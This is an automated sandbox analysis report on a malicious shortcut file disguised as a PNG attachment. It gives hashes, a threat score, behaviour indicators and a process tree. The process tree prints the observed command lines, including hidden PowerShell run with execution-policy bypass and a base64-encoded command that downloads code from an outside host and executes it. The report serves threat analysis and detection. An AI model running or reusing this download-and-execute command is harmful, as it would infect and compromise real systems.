d58dc2ab26df5783442b79e3edb7826599494b28f3c75fa3823cbc876f3707da

General

Target

Attachment.png.lnk
Size

1KB
MD5

15482111f86159dc4cca2034e5520350
SHA1

7745a383710aa802613daaa245b456c77149d437
SHA256

a0e0df53e65b8b4f229eeec3e5c839b9436910a2830854b9e52aa11cd2155d4b
SHA512

6190c2808eb2712583a0c7b930d8bb6ca3628dcfdcfcc46b86153757b271220aa37d5fe6aed571a6575e941e3b222e29e086905c27eef85a2046d8108b66f92c

Score

8^/10

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	340	powershell.exe
Token: SeDebugPrivilege	844	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 340	1832	cmd.exe	27
PID 1832 wrote to memory of 340	1832	cmd.exe	27
PID 1832 wrote to memory of 340	1832	cmd.exe	27
PID 340 wrote to memory of 844	340	powershell.exe	31
PID 340 wrote to memory of 844	340	powershell.exe	31
PID 340 wrote to memory of 844	340	powershell.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Attachment.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -noexit -file work.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:844

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/340-66-0x00000000025F4000-0x00000000025F6000-memory.dmp

Filesize
8KB

Download
memory/340-68-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

Filesize
4KB

Download
memory/340-62-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/340-64-0x0000000002800000-0x0000000002801000-memory.dmp

Filesize
4KB

Download
memory/340-65-0x00000000025F0000-0x00000000025F2000-memory.dmp

Filesize
8KB

Download
memory/340-67-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/340-63-0x000000001AA50000-0x000000001AA51000-memory.dmp

Filesize
4KB

Download
memory/340-69-0x00000000025FA000-0x0000000002619000-memory.dmp

Filesize
124KB

Download
memory/340-70-0x000000001C450000-0x000000001C451000-memory.dmp

Filesize
4KB

Download
memory/844-76-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/844-77-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1832-59-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download